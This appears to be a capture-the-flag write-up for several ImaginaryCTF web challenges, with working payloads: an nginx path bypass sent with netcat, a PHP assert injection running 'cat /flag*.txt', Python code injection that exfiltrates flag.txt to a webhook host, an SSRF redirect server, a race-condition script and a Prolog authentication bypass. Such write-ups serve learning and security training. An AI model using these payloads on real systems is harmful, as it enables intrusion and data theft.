Web Category
Table of Content
All of the challenge archives can be found here
readme
Looking at NGINX default.conf
, if the file exists in the server it will give the user 404 Error
1
2
3
4
5
6
7
8
9
10
11
12
server {
listen 80 default_server;
listen [::]:80;
root /app/public;
location / {
if (-f $request_filename) {
return 404;
}
proxy_pass http://localhost:8000;
}
}
The location of flag located in the same folder as index.html
named flag.txt
. Browsing directly the WEB URL, will give the user the following response.
1
2
3
4
5
6
7
8
9
10
11
12
└─$ curl http://readme.chal.imaginaryctf.org/
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<title>Hello World</title>
</head>
<body>
It works!
</body>
</html>
Accessing, flag.txt
or index.html
will give 404 Error
1
2
3
4
5
6
7
8
└─$ curl http://readme.chal.imaginaryctf.org/index.html
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.22.1</center>
</body>
</html>
How can we bypass this? Atleast we know the version of the NGINX used is 1.22.1
. Searching for request_filename
in the NGINX configuration file led us to this Hacktricks : Proxy Protections Bypass article.
Either using Burp or use a simple netcat method as shown below to get the flag.
1
2
└─$ echo -e "GET /flag.txt\xA0\x0aHTTP/1.1" | nc readme.chal.imaginaryctf.org 80
ictf{path_normalization_to_the_res
Flag: ictf{path_normalization_to_the_res
journal
When I read the index.php
, there is one line that catch my eyes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
echo "<p>Welcome to my journal app!</p>";
echo "<p><a href=/?file=file1.txt>file1.txt</a></p>";
echo "<p><a href=/?file=file2.txt>file2.txt</a></p>";
echo "<p><a href=/?file=file3.txt>file3.txt</a></p>";
echo "<p><a href=/?file=file4.txt>file4.txt</a></p>";
echo "<p><a href=/?file=file5.txt>file5.txt</a></p>";
echo "<p>";
if (isset($_GET['file'])) {
$file = $_GET['file'];
$filepath = './files/' . $file;
// This line look suspicious?
assert("strpos('$file', '..') === false") or die("Invalid file!");
if (file_exists($filepath)) {
include($filepath);
} else {
echo 'File not found!';
}
}
echo "</p>";
Our input directly used in the assert()
function. Won’t that be dangerous? After try and error we can read the flag with the following payload
1
2
3
4
5
# URL Encoded
test%27,%27..%27)%20or%20die(system(%27cat%20/flag*.txt%27));//
# Original
test','..') or die(system('cat /flag*.txt'));//
Flag: ictf{assertion_failed_e3106922feb13b10}
P2C
I feel that my solution for this challenge is unintended. By using local environment, I noticed that it’s possible to execute python code. If we insert print(1)
.
The following temporary file with code*.py
will be created in /tmp/uploads
directory.
Since we are able to inject any python code in main()
function. We just need to create a payload that will send us back the flag.txt
content. But the docker environment did not include wget
or curl
. So, I used curl static binary to exfiltrate flag.txt
1
2
3
4
import base64,os
curl_content=b"<BASE64_CURL_CONTENT"
open("/tmp/curl","wb").write(curl_content)
os.system("chmod +x /tmp/curl;/tmp/curl https://<WEBHOOK_SERVER>/?content=`cat flag.txt |base64 -w0`")
NOTES: Actually urllib library can be use also xD
1
2
3
4
5
6
7
8
9
# POST Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/',data=open("flag.txt","r"),method='POST')
urlopen(httprequest)
# GET Method
from urllib.request import urlopen, Request
httprequest = Request('https://<WEBHOOK>/?='+open("flag.txt","r").read())
urlopen(httprequest)
Flag: ictf{d1_color_picker_fr_2ce0dd3d}
crystal
This is a web challenge with Ruby framework. Interestingly, there is not much in app.rb
1
2
3
4
5
6
require 'sinatra'
# Route for the index page
get '/' do
erb :index
end
The flag not located in usual place but embedded in the hostname
.
1
2
3
4
5
6
7
version: '3.3'
services:
deployment:
hostname: $FLAG
build: .
ports:
- 10001:80
How could we possibly get the hostname
from the web? Is it possible that we could get the hostname through error page or invalid page? By sending a random path, we get the following page.
By sending a POST request, we get the following response.
1
2
3
4
5
└─$ curl -XPOST http://crystals.chal.imaginaryctf.org
WEBrick::HTTPStatus::LengthRequired: WEBrick::HTTPStatus::LengthRequired
/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:530:in `read_body'
/var/lib/gems/3.0.0/gems/webrick-1.8.1/lib/webrick/httprequest.rb:257:in `body'
/var/lib/gems/3.0.0/gems/rackup-2.1.0/lib/rackup/handler/webrick.rb:67:in `block in initialize'
What if we send all special characters and see if we could get different response? I use the following script and identify few characters that could get us the flag!
1
2
3
4
5
6
7
8
9
10
11
# Script
for chars in '!' '@' '#' '$' '%' '^' '&' '*' '(' ')' '-' '=' '+' '[' ']' '{' '}' ';' ':' '"' "'" '<' '>' ',' '.' '/' '?' '\\' '|' '`'; do echo $chars;echo;curl -ks "http://crystals.chal.imaginaryctf.org/"$chars| grep -i ictf;done
# Characters with Bad URI
^
"
<
>
\
|
`
Flag: ictf{seems_like_you_broke_it_pretty_bad_76a87694}
The Amazing Race
To get the source code, we need to hit the following endpoints:
1
2
3
maze.py = /maze
app.py = /source
Dockerfile = /docker
It took me a while to understand the code, but atleast we know how to get the flag. From app.py
, the solved
variable will be use to determine if we can get the flag or not
1
2
3
4
5
6
7
8
9
10
11
12
13
14
MAZE_SIZE = 35
@app.route("/<mazeId>")
def index(mazeId):
if not mazeId:
return redirect(f"/{createMaze()}")
# if our maze ID location equal to this value we can get the flag
# getloc(mazeId) == (34,34)
solved=getLoc(mazeId) == (MAZE_SIZE-1, MAZE_SIZE-1)
return render_template("maze.html",
maze=getMaze(mazeId),
mazeId=mazeId,
flag=open("flag.txt").read() if solved else ""
)
But looking at the maze page, we probably need to find a way to get into F.
The neighbour of F will be sets to #
.
1
2
3
4
5
def gen(self):
...
self.set(*([self.size-1]*self.dim), val='F')
for i in self.neighbors(*([self.size-1]*self.dim)):
self.set(*i, val='#')
I tried to solve the maze using python
but actually that’s not the right path because of the above restrictions :’) Thanks @vicevirus and @zx for finding the right path! It’s related to race condition attack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import sys,requests,threading
from bs4 import BeautifulSoup as bs
import time
# Global Variables
TARGET = "http://the-amazing-race.chal.imaginaryctf.org/"
TARGET_MOVE = "http://the-amazing-race.chal.imaginaryctf.org/move"
MAZE_ID = ""
# Function : getMaze()
def getMaze():
resp = requests.get(TARGET,verify=False)
soup=bs(resp.text, 'html.parser')
maze = soup.find('code').text.strip()
mazeid = resp.url.split("/")[-1]
return maze,mazeid
def getCurrentMaze():
resp = requests.get(TARGET,verify=False)
soup=bs(resp.text, 'html.parser')
maze = soup.find('code').text.strip()
return maze
def moveDown():
requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Down":"Down"},params = {'id': MAZE_ID,'move': 'down'})
def moveRight():
requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Right":"Right"},params = {'id': MAZE_ID,'move': 'right'})
def moveLeft():
requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Left":"Left"},params = {'id': MAZE_ID,'move': 'left'})
def moveUp():
requests.post(TARGET_MOVE,verify=False,headers={"Content-Type":"application/x-www-form-urlencoded"},data={"Up":"Up"},params = {'id': MAZE_ID,'move': 'up'})
if __name__ == "__main__":
# Get Maze
maze,MAZE_ID = getMaze()
TARGET = TARGET+MAZE_ID
print(maze)
print()
while ("ictf" not in requests.get(TARGET,verify=False).text):
before = getCurrentMaze()
# Race down
for i in range(10):
th = threading.Thread(target=moveDown, args=())
th.start()
# Race right
for i in range(10):
th = threading.Thread(target=moveRight, args=())
th.start()
after = getCurrentMaze()
if before == after:
moveLeft()
moveUp()
print(getCurrentMaze())
print()
else:
print(getCurrentMaze())
print()
print(requests.get(TARGET,verify=False).text)
NOTES: After the event I read some articles related to Database Race Conditions. You can find the article below
Link: https://medium.com/@C0l0red/database-race-conditions-f459d94ee2d0
Flag : ictf{turns_out_all_you_need_for_quantum_tunneling_is_to_be_f@st}
readme2
This challenge using Bun
to create a HTTP server.
There are two (2) ports involved which are 3000 (internal)
and 4000 (external)
. There are few restrictions in here that could restrict the user from adding any flag
keywords in URL or HTTP Headers. To get the flag, the user need to send a request to /flag.txt
on port 3000
.
There is one interesting line that catch my eyes.
1
2
3
4
5
return fetch(new URL(url.pathname + url.search, 'http://localhost:3000/'), {
method: req.method,
headers: req.headers,
body: req.body
})
Searching around, I discovered this article by Mizu. Reading through the writeup, the payload that he used was \\127.0.0.1\a
. When I put \\google.com
it redirected to official Google website.
At first, I got no clue for the next steps. But, thanks to @vicevirus hints the solution would be to utilize fetch()
redirection.
For this, we may need to setup a HTTP server that will redirect to http://localhost:3000/flag.txt
1
2
3
4
5
6
7
8
9
10
from flask import Flask, redirect
app = Flask(__name__)
@app.route("/", methods=["GET"])
def index():
return redirect("http://localhost:3000/flag.txt")
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8080)
Then, send the payload as shown in the picture.
Flag: ictf{just_a_funny_bug_in_bun_http_handling}
Pwning en Logique
For this challenge, I didn’t manage to solve it during the event. But for learning purpose, let’s go through together from what have been discussed in the Official discord server.
FORMAT STRING VULNERABILITY
Looking at the greet
, there is a usage of format()
function.
1
2
3
4
5
6
7
8
greet(Request) :-
http_session_data(username(Username)),
http_parameters(Request, [
greeting(Greeting, [default('Hello')]),
format(Format, [default('~w, ~w!')])
]),
content_type,
format(Format, [Greeting, Username]).
If we use the default creds guest:guest
and access /greet
we will get the following response.
Im not familiar with prolog
but actually there are two (2) HTTP parameters that we can use greeting
and format
.
But is there anything that we could abused from these parameters? At the end our input will go through the following code:
1
2
3
4
5
# Original
format(Format, [Greeting, Username])
# Input: greeting=Hello, format='~w, ~w!'
format('~w, ~w!', ['Hello', 'guest'])
More information about format string can be found in here. I noticed that the error of using “~@” will call a prologue predicate.
Unknown procedure: test123/0
Maybe we need to find prologue predicate that ends with /0
? Searching around, I found this and this page. Try and error, I found a good candidate that can be use to get our flag!
1
2
3
edit/0 == will open the editor of server.pl locally (Cannot use remotely I guess?)
listing/0 == lists all predicates defined
Link to listing/0 predicate: https://www.swi-prolog.org/pldoc/man?predicate=listing/0
ARBITRARY CONTENT-TYPE
Another solution discussed in the discord server is not related to format string issue. I found some good reference in here
If we look into login
function, there is no content-type
restrictions in here as well as the usage of member()
to check the Users list.
1
2
3
4
5
6
7
8
9
10
11
12
login(Request) :-
member(method(post), Request),
http_read_data(Request, Data, []),
((
member(username=Username, Data),
member(password=Password, Data),
users(Users),
member(Username=Password, Users),
http_session_retractall(_OldUsername),
http_session_assert(username(Username)),
http_redirect(see_other, '/greet', Request)
);
By sending the following request, I assumed (I’m not really sure.. Could be wrong) it will use with the following check
1
2
3
4
member(guest='password',[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).
# Result
false.
But if we use content type application/x-prolog
, we could set the password to uninitialized variable. This will let us to bypass the authentication as it will always set to true.
1
2
3
4
member(guest=Unknownvariable,[guest=guest,'AzureDiamond'=hunter2,admin=AdminPass]).
# Result
Unknownvariable = guest . (true?)
With this in knowledge, we could send the following data to login as admin and get the flag.
1
[username=admin,password=Unknownvariable].